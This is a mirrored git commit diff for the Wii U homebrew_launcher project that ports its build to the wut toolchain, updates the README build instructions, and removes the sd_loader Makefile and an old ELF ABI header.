mirror of
https://github.com/wiiu-env/homebrew_launcher.git
synced 2024-11-27 15:14:16 +01:00
Compatible with latest wut, eemove ELF-Loading, use rpx-redirections for loading, use libgui
This commit is contained in:
parent
9dca350343
commit
e8ec73c79f
3
.gitignore
vendored
3
.gitignore
vendored
@ -22,3 +22,6 @@
|
||||
/NUSPacker.jar
|
||||
/fst.bin
|
||||
/channel/code/*.rpx
|
||||
www/
|
||||
*.exe
|
||||
*.cbp
|
||||
|
281
Makefile
281
Makefile
@ -1,259 +1,160 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
# Clear the implicit built in rules
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(DEVKITPPC)),)
|
||||
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||
endif
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
ifeq ($(strip $(DEVKITPRO)),)
|
||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>/devkitpro")
|
||||
endif
|
||||
ifeq ($(strip $(WUT_ROOT)),)
|
||||
$(error "Please ensure WUT_ROOT is in your environment.")
|
||||
endif
|
||||
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||
|
||||
PREFIX := powerpc-eabi-
|
||||
TOPDIR ?= $(CURDIR)
|
||||
|
||||
export AS := $(PREFIX)as
|
||||
export CC := $(PREFIX)gcc
|
||||
export CXX := $(PREFIX)g++
|
||||
export AR := $(PREFIX)ar
|
||||
export OBJCOPY := $(PREFIX)objcopy
|
||||
include $(DEVKITPRO)/wut/share/wut_rules
|
||||
|
||||
export ELF2RPL := $(WUT_ROOT)/bin/elf2rpl
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# INCLUDES is a list of directories containing extra header files
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := homebrew_launcher
|
||||
# DATA is a list of directories containing data files
|
||||
# INCLUDES is a list of directories containing header files
|
||||
#-------------------------------------------------------------------------------
|
||||
TARGET := $(notdir $(CURDIR))
|
||||
BUILD := build
|
||||
BUILD_DBG := $(TARGET)_dbg
|
||||
SOURCES := src \
|
||||
src/dynamic_libs \
|
||||
src/fs \
|
||||
src/game \
|
||||
src/gui \
|
||||
src/kernel \
|
||||
src/loader \
|
||||
src/menu \
|
||||
src/network \
|
||||
src/patcher \
|
||||
src/resources \
|
||||
src/settings \
|
||||
src/sounds \
|
||||
src/system \
|
||||
src/utils \
|
||||
src/video \
|
||||
src/video/shaders
|
||||
src/utils
|
||||
DATA := data \
|
||||
data/images \
|
||||
data/fonts \
|
||||
data/sounds
|
||||
data/sounds \
|
||||
data/fonts
|
||||
INCLUDES := src
|
||||
|
||||
INCLUDES := src
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
ASFLAGS := -mregnames
|
||||
LDFLAGS := -nostartfiles -T $(WUT_ROOT)/rules/rpl.ld -pie -fPIE -z common-page-size=64 -z max-page-size=64 -lcrt \
|
||||
-Wl,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size \
|
||||
-Wl,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r \
|
||||
-Wl,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,-wrap,__eabi -Wl,--gc-sections
|
||||
#-------------------------------------------------------------------------------
|
||||
CFLAGS := -g -Wall -O2 -ffunction-sections \
|
||||
$(MACHDEP)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
Q := @
|
||||
MAKEFLAGS += --no-print-directory
|
||||
#---------------------------------------------------------------------------------
|
||||
# any extra libraries we wish to link with the project
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lsysapp -lgd -lpng -lz -lfreetype -lmad -lvorbisidec
|
||||
CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CURDIR) \
|
||||
$(DEVKITPPC)/ \
|
||||
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 \
|
||||
$(WUT_ROOT)/lib
|
||||
CXXFLAGS := $(CFLAGS)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
ASFLAGS := -g $(ARCH)
|
||||
LDFLAGS = -g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map)
|
||||
|
||||
LIBS := -lgui -lfreetype -lgd -lpng -ljpeg -lz -lmad -lvorbisidec -logg -lbz2 -lwut
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level
|
||||
# containing include and lib
|
||||
#-------------------------------------------------------------------------------
|
||||
LIBDIRS := $(PORTLIBS) $(WUT_ROOT)
|
||||
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
export PROJECTDIR := $(CURDIR)
|
||||
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||
#-------------------------------------------------------------------------------
|
||||
FILELIST := $(shell bash ./filelist.sh)
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
export TOPDIR := $(CURDIR)
|
||||
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# automatically build a list of object files for our project
|
||||
#---------------------------------------------------------------------------------
|
||||
FILELIST := $(shell bash ./filelist.sh)
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
#-------------------------------------------------------------------------------
|
||||
export LD := $(CC)
|
||||
#-------------------------------------------------------------------------------
|
||||
else
|
||||
#-------------------------------------------------------------------------------
|
||||
export LD := $(CXX)
|
||||
#-------------------------------------------------------------------------------
|
||||
endif
|
||||
#-------------------------------------------------------------------------------
|
||||
|
||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||
export OFILES_BIN := $(addsuffix .o,$(BINFILES))
|
||||
export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
export OFILES := $(OFILES_BIN) $(OFILES_SRC)
|
||||
export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of include paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
-I$(CURDIR)/$(BUILD) -I$(WUT_ROOT)/include \
|
||||
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD) -I$(PORTLIBS_PATH)/ppc/include/freetype2
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of library paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)) \
|
||||
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
.PHONY: $(BUILD) clean install
|
||||
.PHONY: $(BUILD) clean all
|
||||
|
||||
#-------------------------------------------------------------------------------
|
||||
all: $(BUILD)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
$(BUILD):
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@$(Q)$(MAKE) -C sd_loader
|
||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean: clean_channel
|
||||
#-------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).rpx
|
||||
@$(MAKE) -C sd_loader clean
|
||||
@rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
install_channel: $(BUILD) NUSPacker.jar encryptKeyWith
|
||||
@cp $(OUTPUT).rpx channel/code/
|
||||
java -jar NUSPacker.jar -in "channel" -out "install_channel"
|
||||
|
||||
NUSPacker.jar:
|
||||
wget https://bitbucket.org/timogus/nuspacker/downloads/NUSPacker.jar
|
||||
|
||||
encryptKeyWith:
|
||||
@echo "Missing common key file \"encryptKeyWith\"! Insert the common key as string into \"encryptKeyWith\" file in the HBL Makefile path!"
|
||||
@exit 1
|
||||
|
||||
clean_channel:
|
||||
@rm -fr install_channel NUSPacker.jar fst.bin output tmp
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
else
|
||||
.PHONY: all
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
$(OUTPUT).rpx: $(OUTPUT).elf
|
||||
$(OUTPUT).elf: $(OFILES)
|
||||
#-------------------------------------------------------------------------------
|
||||
all : $(OUTPUT).rpx
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# This rule links in binary data with the .jpg extension
|
||||
#---------------------------------------------------------------------------------
|
||||
%.elf: $(OFILES)
|
||||
@echo "linking ... $(TARGET).elf"
|
||||
$(Q)$(LD) $^ $(LDFLAGS) -o $@ $(LIBPATHS) $(LIBS)
|
||||
# $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||
$(OUTPUT).rpx : $(OUTPUT).elf
|
||||
$(OUTPUT).elf : $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.rpx: %.elf
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo "[RPX] $(notdir $@)"
|
||||
@$(ELF2RPL) $^ $@
|
||||
$(OFILES_SRC) : $(HFILES_BIN)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.a:
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $@)
|
||||
@rm -f $@
|
||||
@$(AR) -rc $@ $^
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.cpp
|
||||
#-------------------------------------------------------------------------------
|
||||
# you need a rule like this for each extension you use as binary data
|
||||
#-------------------------------------------------------------------------------
|
||||
%.bin.o %_bin.h : %.bin
|
||||
@echo $(notdir $<)
|
||||
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
@$(bin2o)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.c
|
||||
%.png.o %_png.h : %.png
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.S
|
||||
@$(bin2o)
|
||||
|
||||
%.ogg.o %_ogg.h : %.ogg
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.png.o : %.png
|
||||
@$(bin2o)
|
||||
|
||||
%.mp3.o %_mp3.h : %.mp3
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.jpg.o : %.jpg
|
||||
@$(bin2o)
|
||||
|
||||
%.ttf.o %_ttf.h : %.ttf
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.ttf.o : %.ttf
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.bin.o : %.bin
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.wav.o : %.wav
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.mp3.o : %.mp3
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.ogg.o : %.ogg
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
@$(bin2o)
|
||||
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
#-------------------------------------------------------------------------------
|
||||
|
@ -30,12 +30,9 @@ The apps that will be listed are should be in the following path /wiiu/apps/home
|
||||
|
||||
#### Building the Homebrew Launcher
|
||||
|
||||
To build the main application devkitPPC is required as well as some additionally libraries. If not yet done export the path of devkitPPC and devkitPro to the evironment variables DEVKITPRO and DEVKITPPC. Additionally you will need to include the [portlibs](https://github.com/dimok789/homebrew_launcher/releases/download/v1.3/portlibs.zip) packages in your devkitPro path.
|
||||
To build the main application devkitPPC is required as well as some additionally libraries. If not yet done export the path of devkitPPC and devkitPro to the evironment variables DEVKITPRO and DEVKITPPC.
|
||||
|
||||
|
||||
All remaining is to enter the main application path and enter "make". You should get a homebrew_launcher.elf and a homebrew__launcher_dbg.elf in the main path.
|
||||
|
||||
To compile the installer application enter the "installer" path on the source code and type "make".
|
||||
All remaining is to enter the main application path and enter "make". You should get a homebrew_launcher.rpx in the main path.
|
||||
|
||||
#### Building an application / homebrew (ELF) for the Homebrew Launcher
|
||||
For an example on how to build an application for the HBL check out the [Hello World example](https://github.com/dimok789/hello_world) application or the port of the libwiiu application [Pong](https://github.com/dimok789/pong_port) for HBL.
|
||||
|
@ -1,179 +0,0 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
# Clear the implicit built in rules
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(DEVKITPPC)),)
|
||||
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||
endif
|
||||
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||
|
||||
PREFIX := powerpc-eabi-
|
||||
|
||||
export AS := $(PREFIX)as
|
||||
export CC := $(PREFIX)gcc
|
||||
export CXX := $(PREFIX)g++
|
||||
export AR := $(PREFIX)ar
|
||||
export OBJCOPY := $(PREFIX)objcopy
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# INCLUDES is a list of directories containing extra header files
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := sd_loader
|
||||
BUILD := build
|
||||
BUILD_DBG := $(TARGET)_dbg
|
||||
SOURCES := src
|
||||
DATA :=
|
||||
INCLUDES :=
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \
|
||||
-Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
ASFLAGS := -mregnames
|
||||
LDFLAGS := -nostartfiles -Wl,--gc-sections
|
||||
|
||||
Q := @
|
||||
MAKEFLAGS += --no-print-directory
|
||||
#---------------------------------------------------------------------------------
|
||||
# any extra libraries we wish to link with the project
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBS :=
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CURDIR) \
|
||||
$(DEVKITPPC)/lib \
|
||||
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
export PROJECTDIR := $(CURDIR)
|
||||
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# automatically build a list of object files for our project
|
||||
#---------------------------------------------------------------------------------
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
export LD := $(CC)
|
||||
else
|
||||
export LD := $(CXX)
|
||||
endif
|
||||
|
||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of include paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
|
||||
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of library paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
|
||||
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
.PHONY: $(BUILD) clean install
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
$(BUILD):
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).bin $(OUTPUT).h
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
$(OUTPUT).elf: $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# This rule links in binary data with the .jpg extension
|
||||
#---------------------------------------------------------------------------------
|
||||
%.elf: link.ld $(OFILES)
|
||||
@echo "linking ... $(TARGET).elf"
|
||||
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
|
||||
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||
$(Q)$(OBJCOPY) -j .text -j .data -O binary $@ ../$(TARGET).bin
|
||||
$(Q)xxd -i ../$(TARGET).elf | sed "s/unsigned/static const unsigned/g;" > $(OUTPUT).h
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.a:
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $@)
|
||||
@rm -f $@
|
||||
@$(AR) -rc $@ $^
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.cpp
|
||||
@echo $(notdir $<)
|
||||
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.c
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.S
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.png.o : %.png
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.ttf.o : %.ttf
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
@ -1,591 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 1995, 1996, 2001, 2002
|
||||
* Erik Theisen. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This is the ELF ABI header file
|
||||
* formerly known as "elf_abi.h".
|
||||
*/
|
||||
|
||||
#ifndef _ELF_ABI_H
|
||||
#define _ELF_ABI_H
|
||||
|
||||
/*
|
||||
* This version doesn't work for 64-bit ABIs - Erik.
|
||||
*/
|
||||
|
||||
/*
|
||||
* These typedefs need to be handled better.
|
||||
*/
|
||||
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||
|
||||
/* e_ident[] identification indexes */
|
||||
#define EI_MAG0 0 /* file ID */
|
||||
#define EI_MAG1 1 /* file ID */
|
||||
#define EI_MAG2 2 /* file ID */
|
||||
#define EI_MAG3 3 /* file ID */
|
||||
#define EI_CLASS 4 /* file class */
|
||||
#define EI_DATA 5 /* data encoding */
|
||||
#define EI_VERSION 6 /* ELF header version */
|
||||
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||
#define EI_ABIVERSION 8 /* ABI target version */
|
||||
#define EI_PAD 9 /* start of pad bytes */
|
||||
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||
|
||||
/* e_ident[] magic number */
|
||||
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||
#define ELFMAG "\177ELF" /* magic */
|
||||
#define SELFMAG 4 /* size of magic */
|
||||
|
||||
/* e_ident[] file class */
|
||||
#define ELFCLASSNONE 0 /* invalid */
|
||||
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||
#define ELFCLASS64 2 /* 64-bit objs */
|
||||
#define ELFCLASSNUM 3 /* number of classes */
|
||||
|
||||
/* e_ident[] data encoding */
|
||||
#define ELFDATANONE 0 /* invalid */
|
||||
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||
#define ELFDATANUM 3 /* number of data encode defines */
|
||||
|
||||
/* e_ident[] OS/ABI specific ELF extensions */
|
||||
